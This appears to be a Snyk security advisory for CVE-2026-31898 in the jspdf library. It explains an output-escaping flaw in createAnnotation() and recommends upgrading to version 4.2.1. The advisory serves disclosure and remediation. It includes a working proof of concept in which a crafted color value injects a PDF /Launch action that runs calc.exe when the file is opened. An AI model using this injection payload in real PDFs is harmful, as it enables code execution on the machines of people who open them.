Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.2.1
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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- published18 Mar 2026
- disclosed17 Mar 2026
- creditsofianeelhor
Introduced: 17 Mar 2026
NewCVE-2026-31898 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade jspdf to version 4.2.1 or higher.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the createAnnotation() method, whose color parameter can be injected with script objects. An attacker can inject PDF objects as freetext annotations, which may be executed when a user opens the file.
PoC
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');